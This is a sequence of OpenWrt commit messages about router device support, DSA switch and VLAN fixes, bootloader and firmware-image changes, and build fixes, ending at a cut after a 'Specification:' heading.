With several subtargets, the image/Makefile becomes crowded after a
while. Many targets have moved their device definitions to $subtarget.mk
files to have them more organized, let's do this here as well.
While at it, also move subtarget-specific build recipes.
Cc: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Christian Lamparter <chunkeey@gmail.com>
Many target use a repetitive if-include scheme for their subtarget
image files, though their names are consistent with the subtarget
names.
This patch removes these redundant conditions and just uses the
variable for the include where the target setup allows it.
For sunxi, this includes a trivial rename of the subtarget image
Makefiles.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Netgear WNDRMAC v1 is a hardware variant of the Netgear WNDR3700 v2
Specifications
==============
* SoC: Atheros AR7161
* RAM: 64mb
* Flash on board: 16mb
* WiFi: Atheros AR9220 (a/n), Atheros AR9223 (b/g/n)
* Ethernet: RealTek RTL8366SR (1xWAN, 4xLAN, Gigabit)
* Power: 12 VDC, 2.5 A
* Full specs on [openwrt.org](https://openwrt.org/toh/hwdata/netgear/netgear_wndrmac_v1)
Flash Instructions
==================
It is possible to use the OEM Upgrade page to install the `factory`
variant of the firmware.
After the initial upgrade, you will need to telnet into the router
(default IP 192.168.1.1) to install anything. You may install LuCI
this way. At this point, you will have a web interface to configure
OpenWRT on the WNDRMAC v1.
Please use the `sysupgrade` variant for subsequent flashes.
Recovery Instructions
=====================
A TFTP-based recovery flash is possible if the need arises. Please refer
to the WNDR3700 page on openwrt.org for details.
https://openwrt.org/toh/netgear/wndr3700#troubleshooting_and_recovery
Signed-off-by: Renaud Lepage <root@cybikbase.com>
[update DTSI include name]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Netgear WNDRMAC v2 is a hardware variant of the Netgear WNDR3800
Specifications
==============
* SoC: Atheros AR7161
* RAM: 128mb
* Flash on board: 16mb
* WiFi: Atheros AR9220 (a/n), Atheros AR9223 (b/g/n)
* Ethernet: RealTek RTL8366SR (1xWAN, 4xLAN, Gigabit)
* Serial console: Yes, 115200 / 8N1 (JTAG)
* USB: 1x2.0
* Power: 12 VDC, 2.5 A
* Full specs on [openwrt.org](https://openwrt.org/toh/hwdata/netgear/netgear_wndrmac_v2)
Flash Instructions
==================
It is possible to use the OEM Upgrade page to install the `factory`
variant of the firmware.
After the initial upgrade, you will need to telnet into the router
(default IP 192.168.1.1) to install anything. You may install LuCI
this way. At this point, you will have a web interface to configure
OpenWRT on the WNDRMAC v2.
Please use the `sysupgrade` variant for subsequent flashes.
Recovery Instructions
=====================
A TFTP-based recovery flash is possible if the need arises. Please refer
to the WNDR3800 page on openwrt.org for details.
https://openwrt.org/toh/netgear/wndr3800#recovery_flash_in_failsafe_mode
Signed-off-by: Renaud Lepage <root@cybikbase.com>
[do not add device to uboot-envtools, update DTSI name]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This renames the DTSI for Netgear WNDR devices based on ar7161 to
indicate that the file is not limited to WNDR3700 models.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since 01_enable_packet_steering only touches the network config,
limit the uci commit to this as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
According to the manual, the amber power LED is used to indicate boot,
while the green LED is meant to indicate a running system.
While at it, also adjust the DT node names for all LEDs.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* SoC: MT7620A
* CPU: 580 MHz
* RAM: 64 MB DDR
* Flash: 8MB NOR SPI flash
* WiFi: MT7612E (5GHz) and builtin MT7620A (2.4GHz)
* LAN: 1x100M
The device is identical to the EX6130 except
for the mains socket and the hardware ID.
Installation:
The -factory images can be flashed from the
device's web interface or via nmrpflash.
Notes:
MAC addresses were set up based on the EX6130 setup.
This is based on prior work of Adam Serbinski and Mathias Buchwald.
Tested by Mathias Buchwald.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds ar71xx's GPIO setup for the 2.4GHz and 5GHz antennae
demultiplexer:
| 158 /* 2.4 GHz uses the first fixed antenna group (1, 0, 1, 0) */
| 159 ap9x_pci_setup_wmac_gpio(0, (0xf << 6), (0xa << 6));
| 160
| 161 /* 5 GHz uses the second fixed antenna group (0, 1, 1, 0) */
| 162 ap9x_pci_setup_wmac_gpio(1, (0xf << 6), (0x6 << 6));
This should restore the range and throughput of the 2.4GHz radio
on all the derived wndr3700 variants and versions with the AR7161 SoC.
A special case is the 5GHz radio. The original wndr3700(v1) will
benefit from this change. However the wndr3700v2 and later revisions
were unaffected by the missing bits, as there is no demultiplexer
present in the later designs.
This patch uses gpio-hogs within the device-tree for all
wndr3700/wndr3800/wndrmac variants.
Notes:
Based on the PCB pictures, the WNDR3700(v1) really had eight
independent antennae. Four antennae for each radio and all of
those were printed on the circut board.
The WNDR3700v2 and later have just six antennae. Four of those
are printed on the circuit board and serve the 2.4GHz radio.
Whereas the remaining two are special 5GHz Rayspan Patch Antennae
which are directly connected to the 5GHz radio.
Hannu Nyman dug pretty deep and unearthed a treasure of information
regarding the history of how these values came to be in the OpenWrt
archives: <https://dev.archive.openwrt.org/ticket/6533.html>.
Mark Mentovai came across the fixed antenna group when he was looking
into the driver:
fixed_antenna_group 1, (0, 1, 0, 1)
fixed_antenna_group 2, (0, 1, 1, 0)
fixed_antenna_group 3, (1, 0, 0, 1)
fixed_antenna_group 4, (1, 0, 1, 0)
Fixes: FS#3088
Reported-by: Luca Bensi
Reported-by: Maciej Mazur
Reported-by: Hannu Nyman <hannu.nyman@iki.fi>
Debugged-by: Hannu Nyman <hannu.nyman@iki.fi>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
CONFIG_VLAN_8021Q was explicitely disabled in oxnas kernel config.
Don't do that, so VLANs can be used on the target.
Fixes: dcc34574ef ("oxnas: bring in new oxnas target")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Bump to latest Git and refresh all patches in order to get fix for "UPnP
SUBSCRIBE misbehavior in hostapd WPS AP" (CVE-2020-12695).
General security vulnerability in the way the callback URLs in the UPnP
SUBSCRIBE command are used were reported (VU#339275, CVE-2020-12695).
Some of the described issues may be applicable to the use of UPnP in WPS
AP mode functionality for supporting external registrars.
Ref: https://w1.fi/security/2020-1/
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This partially reverts commit 5acd1ed0be ("ramips: mt7621: fix
Ubiquiti ER-X ports names and MAC addresses"), this change was discussed
in https://github.com/openwrt/openwrt/pull/2901#discussion_r407238452
With commit 5acd1ed0be ("ramips: mt7621: fix Ubiquiti ER-X ports names
and MAC addresses"), all the ports were put into the LAN bridge, with
the argument that the OEM firmware does not have a WAN port enabled. In
the default OEM setup, all of the ports except eth0 are dead and eth0 is
set to a static IP address without providing DHCP services when
connected. It is only after the wizard has been run that eth0 becomes
the WAN port and all the rest of the ports belong to LAN with DHCP
enabled.
Having all of the ports set to the LAN bridge does not mirror the default
OEM setup. To accomplish that, then only eth0 would be in the LAN bridge.
But this is not the expected behaviour of OpenWrt.
Therefore this proposal to set eth0 to WAN and eth1-N to LAN provides
the expected behaviour expected from OpenWrt, maintains the current
documentation as up-to-date, and does not require the user to manually
detach eth0 from the LAN bridge, create the WAN(6) interface(s), and set
eth0 to the WAN(6) interface(s).
Fixes: 5acd1ed0be ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses")
Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com>
[commit subject and description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This patch changes the version code of the image header
from `1.1.99_0.0.0.0` to `99.99.99_99.99.99.99`. This
is neccessary on some devices where the stock firmware
checks the version field, possibly preventing third-party
firmware from being installed.
Reviewed-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: Joseph C. Lehner <joseph.c.lehner@gmail.com>
d13290b Fix advertised IPv6 addresses
Don't just serve link-local addresses via mdns, offer all.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
When bringing up wifi the first time after boot, these warnings appear:
netifd: radio0 (1370): rm: can't remove '/var/run/hostapd-wlan0.psk': No such file or directory
netifd: radio0 (1370): rm: can't remove '/var/run/hostapd-wlan0.vlan': No such file or directory
Silence them by adding the "-f" option to rm.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: John Crispin <john@phrozen.org>
Sercomm H500-s is an xDSL dual band wireless router based on Broadcom
BCM63167 SoC.
Hardware:
SoC: Broadcom BCM63167
CPU: BMIPS4350 V8.0, 400 MHz, 2 cores
Flash: NAND 128 MiB
RAM: DDR3 128 MiB
Ethernet: 4x 10/100/1000 Mbps
Switch: BCM53134S
Wireless: 802.11b/g/n: BCM435f (integrated)
802.11ac: Quantenna QT3740BC (onboard SoC)
USB: 1x 2.0
LEDs/Buttons: 11x / 2x
Flash instruction, web UI:
1. Reset to defaults using the reset button if the admin password is
unknown
2. Login into the web UI as admin.
Address: http://192.168.0.1
User: admin
Password: VF-ESVodafone-H-500-s or l033i-h500s
3. Go to Settings -> Firmware Update, and select the Openwrt factory
firmware
4. Update the firmware.
5. Wait until it finish, the device will reboot with Openwrt installed
on the alternative image partitions keeping the stock firmware in
the former.
Notes:
- The patch also adds support for the lowi version. Only the factory
firmware is different.
- The integrated Wifi in the Broadcom Soc isn't still supported.
- The Quantenna 802.11ac wifi works ok, but needs to be configured with
the Quantenna client application. It can't be configured with Luci
nor any iw command since it's a separated subsystem linked via
ethernet.
- The BCM53134S external switch is managed via MDIO which isn't
supported in this target. Therefore it will behave as a dumb switch.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Some CFEs are located at the address currently used for relocation and lzma
loader load address, so we need to provide a way to override it.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
There is no need to include the CFE bootloader in the Sercomm factory
images.
There might be a case when this could be useful:
- We are running the stock firmware on the first Sercomm image
- The second partition storing the botloader was erased (unlikely)
Even in this case flashing an image without a bootlader is harmless.
Don't include the bootloader in the factory image creation and rid of the
risk of flashing factory images with an untested bootloader partition.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
The BCM63167 is a BCM63268 SoC with a different physical packaging.
Add the CPU ID to allow supporting routers with this SoC (i.e Sercomm
H500-s)
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
- sort device recipes alphabetically
- adjust board name of ELECOM WRC-2533GENT
- harmonize line wrapping
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rebased]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This updates to the last firmware version before the switch to building
from the common firmware branch, which introduces various issues.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: Álvaro Fernández Rojas <noltari@gmail.com>
This reverts commit 9e467a764b.
The Raspberry Pi firmware recently switched to building from the common
firmware branch. This introduces changes in the core clock handling,
causing various issues.
E.g. enable_uart=1 no longer fixes the core clock frequency to 250MHz.
When the disable-bt DT overlay is not loaded, the core clock frequency
is increased to 400MHz. As a result, the UART baud rate is no longer
correct, and this causes garbled serial console, or communication
problems with HATs that use the UART.
As a workaround, the core clock could be fixed to 250MHz by adding
'core_freq=250' in /boot/config.txt, but as there appear to be other
issues than just the UART being broken, the safer bet is to revert the
firmware for now.
Upstream bug: https://github.com/raspberrypi/firmware/issues/1376
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: Álvaro Fernández Rojas <noltari@gmail.com>
Due to a typo, /boot is not properly unmounted after copying the backup
file to it. Fix the typo to solve this.
Fixes: 246916ddf4 ("brcm2708: use x86's upgrade scripts for all rpi targets")
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
As reported in https://github.com/openwrt/packages/issues/12072, the
imagebuilder fails due to a dependency resolution error when the userspace
packages are built using a target that has a different kernel version than
that which is being run. To resolve this, add a virtual kernel package with
the conditional dependency currently used in sqm-scripts. The idea is to
move the sqm-scripts dependency to this virtual package, which hopefully
should be consistent with the actual kernel module being built.
Signed-off-by: Toke Høiland-Jørgensen <toke@toke.dk>
While the other fq-based qdiscs take advantage of skb->hash and doesn't
recompute it if it is already set, sch_cake does not.
This was a deliberate choice because sch_cake hashes various parts of the
packet header to support its advanced flow isolation modes. However,
foregoing the use of skb->hash entirely loses a few important benefits:
- When skb->hash is set by hardware, a few CPU cycles can be saved by not
hashing again in software.
- Tunnel encapsulations will generally preserve the value of skb->hash from
before the encapsulation, which allows flow-based qdiscs to distinguish
between flows even though the outer packet header no longer has flow
information.
It turns out that we can preserve these desirable properties in many cases,
while still supporting the advanced flow isolation properties of sch_cake.
This patch does so by reusing the skb->hash value as the flow_hash part of
the hashing procedure in cake_hash() only in the following conditions:
- If the skb->hash is marked as covering the flow headers (skb->l4_hash is
set)
AND
- NAT header rewriting is either disabled, or did not change any values
used for hashing. The latter is important to match local-origin packets
such as those of a tunnel endpoint.
The immediate motivation for fixing this was the recent patch to WireGuard
to preserve the skb->hash on encapsulation. As such, this is also what I
tested against; with this patch, added latency under load for competing
flows drops from ~8 ms to sub-1ms on an RRUL test over a WireGuard tunnel
going through a virtual link shaped to 1Gbps using sch_cake. This matches
the results we saw with a similar setup using sch_fq_codel when testing the
WireGuard patch.
Fixes: 046f6fd5daef ("sched: Add Common Applications Kept Enhanced (cake) qdisc")
Signed-off-by: Toke Høiland-Jørgensen <toke@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
A direct upgrade from previous swconfig version with
incompatible settings to DSA will break the internet.
Remove SUPPORTED_DEVICES so users cannot upgrade directly.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
[rebase after Linksys rename, adjust title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Linksys devices in mvebu target feature a mixed naming,
where parts are based on the official product name (device
node, image; e.g. WRT3200ACM) and parts are based on the
internal code name (DTS file name, compatible, LED labels;
e.g. rango). This inconsistent naming has been perceived
as quite confusing.
A recent attempt by Paul Spooren to harmonize this naming
in kernel has been declined there. However, for us it still
makes sense to apply at least a part of these changes
locally.
Primarily, this patch changes the compatible in DTS and thus
the board name used in various scripts to have them in line
with the device, model and image names. Due to the recent
switch from swconfig to DSA, this allows us to drop
SUPPORTED_DEVICES and thus prevent seamless upgrade between
these incompatible setups.
However, this does not include the LED label rename from
Paul's initial patch: I don't think it's worth keeping the
enormous diff locally for this case, as we can implement
this much easier in 01_leds if we have to live with the
inconsistency anyway.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[rebase, extend to all devices, drop DT LED changes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When a client moves from a DSA user port to a software port in a bridge,
it cannot reach any other clients that connected to the DSA user ports.
That is because SA learning on the CPU port is disabled, so the switch
ignores the client's frames from the CPU port and still thinks it is at
the user port.
Fix it by enabling SA learning on the CPU port.
To prevent the switch from learning from flooding frames from the CPU
port, set skb->offload_fwd_mark to 1 for unicast and broadcast frames,
and let the switch flood them instead of trapping to the CPU port.
Multicast frames still need to be trapped to the CPU port for snooping,
so set the SA_DIS bit of the MTK tag to 1 when transmitting those frames
to disable SA learning.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Currently enabling VLAN filtering blocks all traffic in the bridge
immediately. That is because DSA ignores all VLAN setup when VLAN
filtering is disabled, and when it is enabled, there is no VLAN entry
in the VLAN table, causing all traffic to be blocked.
Add patches to allow VLAN setup even if VLAN filtering is disabled.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Currently, setting a bridge's self PVID to other value and deleting
the default VID 1 renders untagged ports of that VLAN unable to talk to
the CPU port:
bridge vlan add dev br0 vid 2 pvid untagged self
bridge vlan del dev br0 vid 1 self
bridge vlan add dev sw0p0 vid 2 pvid untagged
bridge vlan del dev sw0p0 vid 1
# br0 cannot send untagged frames out of sw0p0 anymore
That is because the CPU port is set to security mode and its PVID is
still 1, and untagged frames are dropped due to VLAN member violation.
Set the CPU port to fallback mode so untagged frames can pass through.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Remove dependencies on core kernel headers in host tools used to build perf,
which break on any non-linux system
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This patch adds support for 2 new uci sections.
config wifi-vlan
# iface is optional. if it is not defined the vlan will apply
# to all interfaces
option iface default_radio0
option name guest
option vid 100
option network guest
config wifi-station
# iface is optional. if it is not defined the station will apply
# to all interfaces
option iface default_radio0
# mac is optional. if it is not defined it will be a catch all
# for any sta using this key
option mac '00:11:22:33:44:55'
# vid is optional. if it is not defined, the sta will be part of
# the primary iface.
option vid 100
option key testtest
With this patch applied it is possible to use multiple PSKs on a single BSS.
Signed-off-by: John Crispin <john@phrozen.org>
db275e1 interface-ip: fix build on non-linux systems
3392046 system-dummy: fix missing return
a56b457 netifd: wireless: add support for tracking wifi-station sections
4ce33ce netifd: wireless: add support for tracking wifi-vlan sections
Signed-off-by: John Crispin <john@phrozen.org>
MAC address is set in board.d script
Interface swapping is not needed anymore as switching to DSA breaks
previous configuration anyway
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
eth0 has HW MAC address while eth2 does not.
Use eth0 instead so we don't have to set LAN MAC manually.
Disable unused eth2, until multi CPU port is supported.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Update network/LED configuration for DSA driver.
sysupgrade from images prior to this commit with config preserved
will break the ethernet.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
This is useful when booting OpenWrt from ramdisks in order to have both
images partitions defined.
Furthermore, instead of always using img2 for the inactive image, let's use
img1 or img2 accordingly.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Previously the dts were using a value determined by empirical testing,
because of a spi driver/clock bug. The bug was fixed quite some time
ago. 33 MHz is the default clock frequency used by RouterBOOT and thus
safe.
Signed-off-by: Tobias Schramm <t.schramm@manjaro.org>
Add kmod for the ST LSM6DSX IMU driver.
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
[fixed missing regmap module dependencies]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Update the can-mcp251x-convert-to-half-duplex-SPI patch to fix reception
Some SPI host controllers such as the Cavium Thunder TX do not support
full-duplex SPI. Using half-duplex transfers allows the driver to work
with those host controllers.
This patch fixes the fact that mcp251x_hw_rx_frame was still relying on
a full-duplex transfer where bits were being shifted on MOSI at the same time
as MISO. After splitting the transaction into a spi_write_then_read() care
must be taken to ignore the first byte.
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
- add fxos8700 support to GW52xx/GW53xx/GW54xx
- add USB_OTG support to GW552x
- add LSM9DS1 IMU support to GW560x
- add LSM9DS1 IMU support to GW5904
- add CC1352 UART to GW5910
- add BCM4330 support to GW5910
- fix wlan regulator for GW5910
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
32-bit x86 fail to compile fast-math feature when compiled with frame
pointer, which uses a register used in a couple of inline asm functions.
Previous versions of wolfssl had this by default. Keeping an extra
register available may increase performance, so it's being restored for
all architectures.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Since commit 910df3f06c we have build in
on all X86/64 platforms the gpio-it87 driver.
Since this change I am getting the following error message on boot.
> kern.err kernel: [ 1.009416] gpio_it87: no device
I do not have this device on my system. To prevent the nonsensical
message and the loading of the module I have added this as a package, so
that it can be installed later or during image building.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Reviewed-by: Philip Prindeville <philipp@redfish-solutions.com>
This is only a cosmetic correction, as the driver works as expected.
However, the error message confuses users about a missing reset definition.
On a defered init we don't see the following error message now:
[ 0.078292] ar7200-usb-phy usb-phy: phy reset is missing
Tested-by: Lech Perczak <lech.perczak@gmail.com>
Signed-off-by: Johann Neuhauser <johann@it-neuhauser.de>
Due to filesystem write caching the old configuration data could stay
out of flash for a long time during a first boot after the sysupgrade.
Power loss during this period could damage the overlay data and even
make device inaccessable via the network.
Fix this by syncing data to a flash as soon as the previous
configuration will be unpacked after the sysupgrade. Also sync the FS
state after the sysupgrade.tgz archive removing to prevent duplicative
extraction of a previous configuration.
Tested with AMD Geode based board.
Signed-off-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
This commit removes changes from upstream commits:
8e18c8e58da6 arm64: dts: marvell: armada-3720-espressobin: declare SATA
PHY property
bd3d25b07342 arm64: dts: marvell: armada-37xx: link USB hosts with their
PHYs
For most boards which have factory bootloader this caused that devices
connected to USB 3.0 and SATA port were not detected. For them to
function users would need to upgrade the bootloader to version with ARM
Trusted Firmware 2.1 or later. Unfortunately there is no official
bootloader image with updated ATF component, therefore drop these
properties from nodes. This change was also tested briefly with
bootloader with updated ATF and the ports functioned properly.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Enable the disk-activity LED trigger for ipq806x, since this SoC has an
onboard SATA controller.
Signed-off-by: Thomas Albers <thomas.gameiro@googlemail.com>
[split into separate commit]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This changes the ide-disk LED trigger to the generic disk-activity as
ide-disk trigger was removed in upstream commit eb25cb9956cc ("leds:
convert IDE trigger to common disk trigger").
Signed-off-by: Thomas Albers <thomas.gameiro@googlemail.com>
[split into separate commit, commit description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Kernel config option LEDS_TRIGGER_IDE_DISK was renamed in kernel 4.8 to
CONFIG_LEDS_TRIGGER_DISK in upstream commit eb25cb9956cc ("leds: convert
IDE trigger to common disk trigger").
Removing it as it should be added only on targets which has usage for
this trigger.
Signed-off-by: Thomas Albers <thomas.gameiro@googlemail.com>
[commit description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The buildroot and SDK both require `libncurses-dev` to be installed on
the system, however the ImageBuilder uses precompiled binaries.
This patch changes the prerequirements checks to skip the
`libncurses-dev` part if running as ImageBuilder.
Signed-off-by: Paul Spooren <mail@aparcar.org>
ZyXEL Keenetic has a USB port. Thus, DWC2 USB controller driver should
be in the default image for this device.
Fixes: a7cbf59e0e ("ramips: add new device ZyXEL Keenetic as kn")
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
[fixed whitespace issue]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
In FS#2738 we can see that patch first introduced in
e8ebcff ("ramips: add a explicit reset to dwc2")
breaks USB functionality since 18.06. Thus, this patch should be removed.
Removed:
- 0032-USB-dwc2-add-device_reset.patch
Fixes: FS#2738
Fixes: FS#2964
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
Required for installation of autoconf:
make[5]: Entering directory `/openwrt/build_dir/host/autoconf-2.69'
Making all in bin
make[6]: Entering directory `/openwrt/build_dir/host/autoconf-2.69/bin'
autom4te_perllibdir='..'/lib AUTOM4TE_CFG='../lib/autom4te.cfg'
../bin/autom4te -B '..'/lib -B '..'/lib --language M4sh --cache
'' --melt ./autoconf.as -o autoconf.in
Can't locate Data/Dumper.pm in @INC (@INC contains: ../lib
/usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl
/usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at
../lib/Autom4te/C4che.pm line 33.
BEGIN failed--compilation aborted at ../lib/Autom4te/C4che.pm line 33.
Compilation failed in require at ../bin/autom4te line 40.
BEGIN failed--compilation aborted at ../bin/autom4te line 40.
make[6]: *** [autoconf.in] Error 2
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Since DEVICE_TYPE cannot be set per device, just set DEVICE_TYPE
to "nas" for the entire subtarget, which only contains this single
device.
Note that while this looks like a cosmetic change in combination
with the previous patches, this particular patch actually changes
the packages for the device.
Suggested-by: Christian Lamparter <chunkeey@gmail.com>
Cc: Christian Lamparter <chunkeey@gmail.com>
Cc: Sungbo Eo <mans0n@gorani.run>
Cc: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
While the effective "default" based on frequent use is "router", the
DEVICE_TYPE variable actually provides a "basic" configuration without
selecting any additional packages.
This is currently set up with the identifier "bootloader", which seems
to be not used at all. However, the only targets not using "router" or
"nas" are actually archs38 and arc770, which use their own value
"developerboard" for DEVICE_TYPE which seems to have been invented when
these targets where added. The latter is not implemented in target.mk,
though, and will fall back to the "basic" set of packages then.
So, to clean this up and make it more readable, let's just define a
DEVICE_TYPE "basic" and use it for the aforementioned cases.
Cc: Christian Lamparter <chunkeey@gmail.com>
Cc: Sungbo Eo <mans0n@gorani.run>
Cc: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
DEVICE_TYPE is a target/subtarget variable, and it does not have
any effect when set in a device definition. It can only be set
in a target's or subtarget's Makefile.
Consequently, having it set anyway is misleading, so this drops
all cases.
This effectively reverts the following commits:
7a1497fd60 ("apm821xx: MBL: set DEVICE_TYPE to NAS")
5b4765c93a ("gemini: Classify Raidsonic NAS IB-4220-B as a NAS")
cdc6de460b ("gemini: D-Link DNS-313 is a NAS")
For the following commit, the variable was set when adding device
support:
27b2f0fc0f ("kirkwood: add support for Iomega Storcenter ix2-200")
Cc: Christian Lamparter <chunkeey@gmail.com>
Cc: Sungbo Eo <mans0n@gorani.run>
Cc: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Some (older) CFEs are loaded at 0x80401000 and ramdisks are loaded at
0x80010000, which means that ramdisk size limit is 0x3F1000 (almost 4M).
Therefore, current ramdisks (~4MB) are overwritting CFE in these devices,
which results in a crash.
This commit changes the address where ramdisks are loaded to 0x80a00000,
which is the same address where kernel is loaded when booting from the flash.
Therefore, lzma-loader will now be loaded at 0x80a00000, but it will still
decompress the kernel at 0x80010000.
Tested with huawei,hg556a-b, which has its CFE loaded at 0x80401000.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Apparently, Sercomm allows loading a BCM WFI image via CFE, but this image
destroys "serial" and "protect" nand partitions, which is wrong.
It will also set both bootflags to the same value, which causes booting
issues with cferam (cferom will alternatively boot from cferam1 or cferam2
each time the device is rebooted).
Now that OEM Sercomm images are supported it's time to remove this hacky
cfe.bin image support.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
BCM6368 and newer devices are compatible with any lzma compression parameters.
Add a new legacy device definition and use it on BCM6358 and older devices.
Compressed kernel size is reduced by ~1.35%.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Allows to keep a backup firmware in case active firmware is corrupted.
Also fix hsspi address warning.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
When firmware is flashed, cferam.000 extension is renamed to the next number.
When booting, CFE scans the NAND and picks the partition with the highest
cferam extension and ignores the other one.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This images can be flashed from the official firmware, as opposed to CFE
images, which can only be flashed from CFE and require opening the case.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
The only Sercomm WFI user has been migrated to a dedicated firmware parser.
Keep support for no cferam partition based on a boolean DT property.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Support Sercomm firmware partition split.
WFI partition must be defined after bootflag partitions in order for the
parser to properly find bootflag1 and bootflag2 partitions.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Sercomm uses 2 bootflag partitions and boots the firmware with the highest
bootflag. Support splitting the firmware partition while keeping support for
unsplitted layout.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Sercomm firmwares are encrypted with AES 256 CBC.
The key is generated with a custom algorithm from the firmware tag:
char key[32];
char version[32];
char iv[32];
char random[32];
char size[32];
Key must be generated with Sercomm's algorithm. However, the rest of the
header can be empty. IV and random are set to 0 on purpose.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
ddd57c2 pppd: Add lcp-echo-adaptive option
c319558 pppd: Handle SIGINT and SIGTERM during interrupted syscalls (#148)
0bc11fb Added missing options to manual pages. (#149)
b1fcf16 Merge branch 'monotonic-time' of https://github.com/themiron/ppp
c78e312 pppd: linux: use monotonic time if possible
Remove patch 121-debian_adaptive_lcp_echo as patch is upstream accepted
Remove patch 206-compensate_time_change.patch as timewrap issues are
solved by a patch making use of monotonic time
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
The TP-Link TL-MR3020 has a three-state mode slider which was previously
integrated as a button (EV_KEY). This led to spurious activations of
failsafe mode.
Set the type for the button to switch (EV_SW), to avoid unintended
activations of failsafe mode.
Related: commit 27f3f493de ("gpio-button-hotplug: unify polled and
interrupt code")
Signed-off-by: David Bauer <mail@david-bauer.net>
TP-Link RE450 v3 is a dual band router/range-extender based on
Qualcomm/Atheros QCA9563 + QCA9880.
This device is nearly identical to RE450 v2 besides a modified flash
layout (hence I think force-flashing a RE450v2 image will lead to at
least loss of MAC address).
Specification:
- 775 MHz CPU
- 64 MB of RAM (DDR2)
- 8 MB of FLASH (SPI NOR)
- 3T3R 2.4 GHz
- 3T3R 5 GHz
- 1x 10/100/1000 Mbps Ethernet (AR8033 PHY)
- 7x LED, 4x button-
- possible UART header on PCB¹
Flash instruction:
Apply factory image in OEM firmware web-gui.
¹ Didn't check to connect as I didn't even manage to connect on
RE450v2 (AFAIU it requires disconnecting some resistors, which I was
too much of a coward to do). But given the similarities to v2 I
think it's the same or very similar procedure (and most likely also
the only way to debrick).
Signed-off-by: Andreas Wiese <aw-openwrt@meterriblecrew.net>
[remove dts-v1 and compatible in DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specification:
